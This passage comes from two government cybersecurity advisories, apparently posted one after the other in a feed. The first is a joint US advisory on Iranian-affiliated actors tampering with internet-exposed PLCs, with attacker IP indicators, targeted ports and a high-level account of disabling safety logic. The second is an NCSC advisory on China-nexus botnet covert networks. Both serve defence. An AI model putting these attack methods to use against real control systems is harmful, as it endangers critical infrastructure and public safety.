Install PLCs consistent with manufacturers' guidelines and security best practices.
Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.
Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including 44818, 2222, 102, and 502, especially traffic originating from foreign hosting providers.
For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.




Indicators of Compromise

For a downloadable copy of July 22, 2026 IOCs, see:

AA26-097A STIX XML (July 2026) (29 KB)
AA26-097A STIX JSON (July 2026) (30 KB)

For a downloadable copy of historical April 7, 2026 IOCs, see:

AA26-097A STIX XML (36 KB)
AA26-097A STIX JSON (12 KB)
 




Intended Audience

Organizations: Critical Infrastructure
Sectors: Government Services and Facilities, Water and Wastewater Systems (WWS), and Energy 
Roles: Integrators, asset owners, defensive cybersecurity analysts, OT cybersecurity engineers, cybersecurity architects, secure systems developer




Introduction
Note: This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.
The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files¹ and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.
The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including Government Services and Facilities (to include local municipalities), Water and Wastewater Systems (WWS), and Energy Sectors. The authoring agencies previously reported on similar activity targeting PLCs by CyberAv3ngers (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).
Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the Mitigations section of this advisory to reduce the risk of compromise.
If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see Contact Information) to receive support, mitigation, and investigation assistance.
For more information on Iranian malicious cyber activity, see CISA’s Iran Threat Overview and Advisories webpage and the FBI’s Iran Threat and Iran Cyber Threat Overview webpages.
Download the PDF version of this report:






    
    Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
    (PDF,       1.09 MB
  )
  

(New, July 22, 2026) For a downloadable copy of July 22, 2026 IOCs, see:

AA26-097A STIX XML (XML, 29 KB)
AA26-097A STIX JSON (JSON, 30 KB)

For a downloadable copy of historical April 7, 2026 IOCs, see:






    
    AA26-097A.stix_.xml
    (XML,       35.97 KB
  )
  







    
    AA26-097A.stix_.json
    (JSON,       11.87 KB
  )
  

Background Information
Similar Historical Activity Targeting Programmable Logic Controllers
During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.
For more information on this group’s activity, see the joint Cybersecurity Advisory IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities.
Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers
The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.
(New, July 22, 2026) At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.
Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including Government Services and Facilities, WWS, and Energy Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.
Technical Details
Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 19. See the MITRE ATT&CK Tactics and Techniques section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
Initial Access
(Updated, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [T0883]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: 44818, 2222, 102, and 502, as well as targeting modems on port 22. Targeted devices include:

Rockwell Automation: CompactLogix and Micro850 PLCs
Schneider Electric: BMX P34/Modicon M340 PLCs
Siemens: S7-1200 series PLCs

Command and Control
(Updated, July 22, 2026) The targeting of ports [T0885] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port 22 [T1219].
Exfiltration
(New, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [T1041].
Impact
(Updated, July 22, 2026) After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [T1565]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.
Note: An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.
Indicators of Compromise
See Table 1 and Table 2 for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.
Disclaimer: The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Table 1. Indicators of Compromise (New, July 22, 2026)


Indicator
Beginning of Actor Association
End of Actor Association




185.82.73[.]175
September 2025
February 2026


141.11.164[.]153
January 2026
June 2026


175.110.121[.]42
February 2026
March 2026


175.110.121[.]39
February 2026
March 2026


175.110.121[.]41
February 2026
March 2026


175.110.121[.]107
February 2026
February 2026


192.142.54[.]79
May 2026
June 2026


84.200.205[.]165
May 2026
June 2026


185.225.17[.]225
June 2026
July 2026


79.133.46[.]209
July 2026
July 2026


88.80.150[.]199
July 2026
July 2026


88.80.150[.]200
July 2026
July 2026


88.80.150[.]202
July 2026
July 2026




Table 2. Indicators of Compromise 


Indicator
Beginning of Actor Association
End of Actor Association




185.82.73[.]162
January 2025
March 2026


185.82.73[.]164
January 2025
March 2026


185.82.73[.]165
January 2025
March 2026


185.82.73[.]167
January 2025
March 2026


185.82.73[.]168
January 2025
March 2026


185.82.73[.]170
January 2025
March 2026


185.82.73[.]171
January 2025
March 2026


135.136.1[.]133
March 2026
March 2026



MITRE ATT&CK Tactics and Techniques
See Table 3 to Table 6 for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 3. Initial Access


Technique Title
ID
Use




Internet Accessible Device
T0883
The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.



 

Table 4. Command and Control


Technique Title
ID
Use




Commonly Used Port
T0885
The actors leveraged commonly used OT ports to communicate with PLCs.


Remote Access Tools 
T1219
The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port 22.




Table 5. Exfiltration (New, July 22, 2026)


Technique Title
ID
Use




Exfiltration Over C2 Channel
T1041
The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.




Table 6. Impact


Technique Title
ID
Use




Data Manipulation
T1565
The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.



Mitigations
The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.
Network Defenders
The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.
(Updated, July 22, 2026) In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:

Rockwell Automation: Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at PSIRT@rockwellautomation.com for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.


Refer to Rockwell Automation Security Advisory SD1771 for recommended PLC hardening measures and configuration guidance.


Schneider Electric: Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.


Refer to Schneider Electric’s Recommended Cybersecurity Best Practices and Cybersecurity User Guide for Modicon Controller Platform for guidance on securing and configuring PLCs.


Siemens: Contact Siemens ProductCERT at productcert@siemens.com for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.


Refer to Siemens Security Bulletin 104599 for a list of security measures to harden PLCs and in-depth configuration guides.
Siemens users should review the Cybersecurity for Industry Operational Guidelines and implement defense-in-depth controls within their automation systems.



Immediate steps to prevent the attack:

Disconnect the PLC from the public-facing internet [CPG 3.S]. Follow the joint guidance Secure connectivity principles for OT to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.


Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.
Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.
(New, July 22, 2026) To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).


(New, July 22, 2026) Strictly control network access to PLC devices.


Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.


For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s²System Security Design Guidelines for manufacturer’s instructions.)


(New, July 22, 2026) Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.


For devices that allow software key switching, enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ Cybersecurity for Industry Operational Guidelines for the manufacturer’s instructions.)

Follow-up steps to strengthen security posture:

(New, July 22, 2026) Review project files running on PLCs for unauthorized changes. Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the Customer Guidance to Disconnect Devices from the Internet, check the AOIs for any anomalous modifications.


If restoring from backups, verify the backup does not contain malicious logic before deployment.
Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.


(New, July 22, 2026) Ensure device passwords are changed from their default and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.
(New, July 22, 2026) Take defensive measures to minimize the risk of exploitation. Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.
Create and test strong backups of the logic and configurations of PLCs. Store backup files offline and secure the physical removal media to enable fast recovery.
Implement multifactor authentication (MFA) [CPG 3.F] for access to the OT network from an external network.
If remote access is required, implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access.


A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.
Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.


Keep PLC devices updated with the latest software patches issued by the manufacturer. Use established downtime windows to install patches. Known Exploited Vulnerabilities may need to be prioritized outside a downtime window.
Configure external and internal firewalls to block traffic using common ports associated with network protocols that are unnecessary for the particular network segment.
Disable any unused authentication methods, logic, or features, such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.
Monitor asset management systems for device configuration changes, which can be used to understand expected parameter settings.
Monitor the content of network traffic for the following:


Unusual logins to internet-connected devices or unexpected protocols to/from the internet. 
Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.


(New, July 22, 2026) Ensure service providers are informed of active threats targeting internet-connected PLC devices. Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.

In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:

Reduce risk exposure. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s Cyber Hygiene Services can help provide additional review of organizations’ internet-accessible assets. 

Device Manufacturers
Note: The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. 
Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products, primarily:

Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.
Do not charge additional fees for basic security features needed to operate the product securely.
Support MFA, including via phishing-resistant methods.

By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.
For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations. For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.
Validate Security Controls
In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:

Select an ATT&CK technique described in this advisory (see Table 3 to Table 6).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&CK techniques identified in this advisory.
Resources

Authoring Agencies: IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities
CISA: Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers
EPA: Cybersecurity for the Water Sector
CISA: Water and Wastewater Cybersecurity
CISA: Exploitation of Unitronics PLCs used in Water and Wastewater Systems
CISA: Iran Threat Overview and Advisories
FBI: The Iran Threat and Cyber Threat Overview: Iran
CISA, MITRE: Best Practices for MITRE ATT&CK Mapping
CISA: Decider Tool
CISA: Cross-Sector Cybersecurity Performance Goals 2.0
CISA: No-Cost Cybersecurity Services and Tools
CISA: Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products
NSA, CISA: NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations
CISA: Secure by Design
FBI, CISA: Primary Mitigations to Reduce Cyber Threats to Operational Technology
United Kingdom National Cyber Security Centre: Secure connectivity principles for operational technology

Contact Information
U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:

Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s Internet Crime Complaint Center (IC3) or contact your local FBI field office. When available, please include the following information regarding the incident: 

Date, time, and location of the incident;
Type of activity;
Number of people affected;
Type of equipment used for the activity; and
Name of the submitting company or organization, and a designated point of contact.


For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.
Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact EnergySRMA@hq.doe.gov.
Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at PSIRT@rockwellautomation.com.
Contact the Schneider Electric CPCERT at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.
Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at productcert@siemens.com. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at services.automation@siemens.com. See Siemens ProductCERT and Siemens CERT for more information.

Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.
Version History
April 7, 2026: Initial version.
July 22, 2026: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.
Notes
¹Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.
²See CompactLogix 5370 Controllers (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.


Defending Against China-Nexus Covert Networks of Compromised Devices
Sat, 25 Jul 2026 09:10:14 +0200


Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it 
Summary
With support from the UK Cyber League, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: 

Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)
Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)
Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)
Japan National Cybersecurity Office (NCO) - 国家サイバー統括室
Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)
Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)
New Zealand National Cyber Security Centre (NCSC-NZ)
Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)
Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Department of Defense Cyber Crime Center (DC3)
United States Federal Bureau of Investigation (FBI)
United States National Security Agency (NSA) 

Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. 
Introduction  
Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. 

The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. 


Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been used by Chinese state-sponsored actors Volt Typhoon to pre-position offensive cyber capabilities on critical national infrastructure. The group Flax Typhoon used a different covert network of compromised infrastructure to conduct cyber espionage. 


The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  


This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.
Covert Networks 
Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. 

There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also assessed by the FBI to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. 



Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester 



Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon was mainly made up of vulnerable Cisco and NetGear routers. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. 


The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a public blog in May 2024 talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. 
Typical Network Topology
The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. 

Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. 


However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. 




  
      




      A diagram illustrating the basic setup of a covert network.
  

The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. 
Protective Advice 
Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  


The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. 


Further guidance for all organizations facing cyber security threats is available on the NCSC website. 
This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.
All organizations

The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: 

Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.
Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.

Would you expect connections from consumer broadband ranges?


Leverage available dynamic threat feeds which include covert network infrastructure.
Implement multifactor authentication for remote connections.

Smaller organizations should consider creating and actioning a free NCSC Cyber Action Toolkit. 
Larger or more at-risk organizations


Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  

Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.
Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.
Implement zero trust policies for connections.
Enforce machine certificates for Secure Sockets Layer (SSL) connections.
Reduce the internet-facing presence of the IT estate.
Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. 

The NCSC's Cyber Essentials can help protect organizations of all sizes. 
Largest or most at-risk organizations 
If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.

Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.
Track and map covert networks reported by industry or government by looking at banners and certificates.
Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.
Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. 

The NCSC Cyber Assessment Framework provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  
MITRE ATT&CK® 
This advisory has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. 






Tactic 






ID 






Technique 






Procedure 










Resource Development 






T1584.005 






Compromise Infrastructure: Botnet 






Botnets are used as core components of covert networks 








Resource Development 






T1584.008 






Compromise Infrastructure: Network Devices 






Devices are compromised and added to botnets 








Resource Development 






T1583.003 






Acquire Infrastructure: Virtual Private Server 






Virtual private servers (VPS) are used in covert networks, typically as on-ramps 








Command and Control 






T1090.003 






Proxy: Multi-hop Proxy 






Used by China-nexus cyber actors to route traffic 










 Appendix: Cyber Security Best Practices 
In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. 

Protect your devices and networks by keeping them up to date: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software
Prevent and detect lateral movement in your organization’s networks. See NCSC Guidance: https://www.ncsc.gov.uk/guidance/preventing-lateral-movement
Implement architectural controls for network segregation. See NCSC Guidance: https://www.ncsc.gov.uk/guidance/10-steps-network-security
Set up a security monitoring capability so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes and https://www.ncsc.gov.uk/information/logging-made-easy
Use modern systems and software. These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products
Restrict intruders' ability to move freely around your systems and networks. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: https://www.ncsc.gov.uk/guidance/preventing-lateral-movement and https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security.
Deploy a host-based intrusion detection system. A variety of products are available, free and paid-for, to suit different needs and budgets.
Further information: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks 

Disclaimer  
